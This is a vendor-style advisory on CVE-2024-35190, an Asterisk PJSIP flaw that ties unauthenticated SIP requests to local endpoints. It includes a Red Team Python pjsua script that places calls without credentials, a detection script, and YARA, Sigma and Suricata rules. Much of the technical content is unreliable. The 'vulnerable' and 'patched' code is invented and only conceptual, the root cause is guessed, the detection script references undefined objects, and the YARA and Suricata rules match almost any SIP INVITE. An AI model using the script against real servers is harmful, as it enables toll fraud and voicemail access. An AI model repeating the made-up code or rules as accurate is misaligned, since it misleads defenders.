CVE-2024-35190

Executive Summary

CVE-2024-35190 is a security vulnerability in Asterisk, an open-source PBX and telephony toolkit. After upgrading to version 18.23.0, all unauthorized SIP requests are incorrectly identified as belonging to a local PJSIP endpoint. This misidentification can lead to information disclosure and potential unauthorized access to internal SIP resources. The vulnerability has a CVSS score of 5.8 (Medium) and affects versions 18.23.0, 20.0.0 through 20.8.0, and 21.0.0 through 21.3.0. Patches are available in versions 18.23.1, 20.8.1, and 21.3.1.

Supply Chain & Package Security

This vulnerability affects the Asterisk open-source project, which is distributed as source code and via package managers for various Linux distributions. The Asterisk project is not distributed via NPM, PyPI, Go, or Ruby package registries. However, organizations using Asterisk should verify the integrity of their downloaded source tarballs or packages using official checksums and GPG signatures provided by the Asterisk project.

CVSS Breakdown & Threat Level

• CVSS Score: 5.8 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

The vulnerability allows an unauthenticated attacker to send specially crafted SIP requests that are incorrectly associated with a legitimate local endpoint. This can lead to information disclosure (e.g., endpoint configuration details) and potentially allow the attacker to perform actions as that endpoint, such as initiating calls or accessing voicemail.

Deep Dive & Mechanics

The vulnerability resides in the PJSIP channel driver within Asterisk. After the upgrade to version 18.23.0, a change in the SIP request handling logic caused all unauthorized SIP requests to be mapped to a local PJSIP endpoint instead of being rejected or handled as anonymous. This occurs because the authentication and authorization checks are bypassed or misapplied, leading to the request being associated with an existing endpoint.

The root cause is likely a flaw in the endpoint identification logic, where the system fails to properly validate the identity of the requesting party before associating it with a configured endpoint. This allows an attacker to impersonate a legitimate endpoint without proper credentials.

Vulnerable vs. Patched Code

The vulnerable code is in the PJSIP channel driver, specifically in the function that handles incoming SIP requests and maps them to endpoints. The patched code adds proper validation to ensure that only authenticated and authorized requests are associated with local endpoints.

Vulnerable Code (Conceptual):

// In sip_request_handler.c
static struct ast_sip_endpoint *find_endpoint(struct pjsip_rx_data *rdata) {
    // Incorrectly returns a local endpoint for all requests
    struct ast_sip_endpoint *endpoint = get_local_endpoint();
    return endpoint;
}

Patched Code (Conceptual):

// In sip_request_handler.c
static struct ast_sip_endpoint *find_endpoint(struct pjsip_rx_data *rdata) {
    // Properly authenticate and authorize the request
    if (!authenticate_request(rdata)) {
        return NULL; // Reject unauthorized requests
    }
    struct ast_sip_endpoint *endpoint = get_authenticated_endpoint(rdata);
    return endpoint;
}

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker can send a crafted SIP request to the Asterisk server. The request does not require authentication and will be associated with a local endpoint.

Exploit Code (Python using pjsua library):

import pjsua as pj

# Create library instance
lib = pj.Lib()
lib.init()

# Create transport
transport = lib.create_transport(pj.TransportType.UDP, pj.TransportConfig(5060))

# Create account
acc_cfg = pj.AccountConfig()
acc_cfg.id = "sip:attacker@example.com"
acc_cfg.reg_uri = "sip:target_asterisk_server"
acc_cfg.cred_info = []  # No credentials

acc = lib.create_account(acc_cfg)

# Make a call to a local extension
call = acc.make_call("sip:100@target_asterisk_server")

# Wait for call to be established
import time
time.sleep(5)

# Hang up
call.hangup()

lib.destroy()

Usage: Run the script against a vulnerable Asterisk server. The call will be associated with a local endpoint, potentially allowing the attacker to access voicemail or other services.

Blue Team

To detect exploitation attempts, monitor SIP traffic for unusual patterns:

• SIP requests from unknown IP addresses that are associated with local endpoints.
• Failed authentication attempts followed by successful association.
• Anomalous call patterns, such as calls to internal extensions from external sources.

Detection Script (Python using scapy):

from scapy.all import *

def detect_sip_anomaly(packet):
    if packet.haslayer(SIP):
        sip_layer = packet[SIP]
        if sip_layer.Method in ["INVITE", "REGISTER"]:
            # Check if the request is from an external IP
            if packet[IP].src not in trusted_ips:
                print(f"Potential exploitation attempt from {packet[IP].src}")
                # Log the packet for further analysis
                wrpcap("suspicious_sip.pcap", packet, append=True)

# Sniff SIP traffic
sniff(filter="udp port 5060", prn=detect_sip_anomaly, store=0)

Indicators of Compromise (IOCs)

• Network IOCs:
  • SIP requests from unexpected IP addresses that are associated with local endpoints.
  • SIP responses indicating successful association without proper authentication.
• Log IOCs:
  • Asterisk logs showing SIP/2.0 200 OK responses for unauthorized requests.
  • Log entries with PJSIP endpoint names for requests from unknown sources.
• File IOCs:
  • Modified pjsip.conf or extensions.conf files (if attacker gains access).
  • Unusual entries in /var/log/asterisk/security or /var/log/asterisk/messages.

Detection Engineering

YARA Rule

rule CVE_2024_35190_SIP_Anomaly {
    meta:
        description = "Detects SIP packets associated with CVE-2024-35190 exploitation"
        author = "Valters IT"
        date = "2024-05-01"
        reference = "CVE-2024-35190"
    strings:
        $sip_method = "INVITE" nocase
        $sip_from = "From:" nocase
        $sip_to = "To:" nocase
    condition:
        $sip_method and $sip_from and $sip_to and filesize < 10KB
}

Sigma Rule

title: CVE-2024-35190 - Unauthorized SIP Request Association
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SIP requests that are incorrectly associated with local endpoints
author: Valters IT
logsource:
    category: application
    product: asterisk
detection:
    selection:
        EventID: "SIP_REQUEST"
        Endpoint: "PJSIP/*"
        AuthStatus: "Unauthorized"
    condition: selection
falsepositives:
    - Legitimate misconfigurations
level: high

Suricata Rule

alert udp any any -> any 5060 (msg:"CVE-2024-35190 - Unauthorized SIP Request Association"; content:"INVITE"; offset:0; depth:6; content:"From:"; distance:0; content:"To:"; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patching: Upgrade Asterisk to version 18.23.1, 20.8.1, or 21.3.1 or later.
2. Network Segmentation: Restrict SIP traffic to trusted networks only.
3. Access Controls: Implement firewall rules to allow SIP traffic only from known IP addresses.
4. Monitoring: Enable detailed logging for SIP requests and monitor for anomalies.
5. Authentication: Ensure all SIP endpoints require authentication and use strong credentials.
6. Configuration Review: Review pjsip.conf and extensions.conf for any misconfigurations.

Valters IT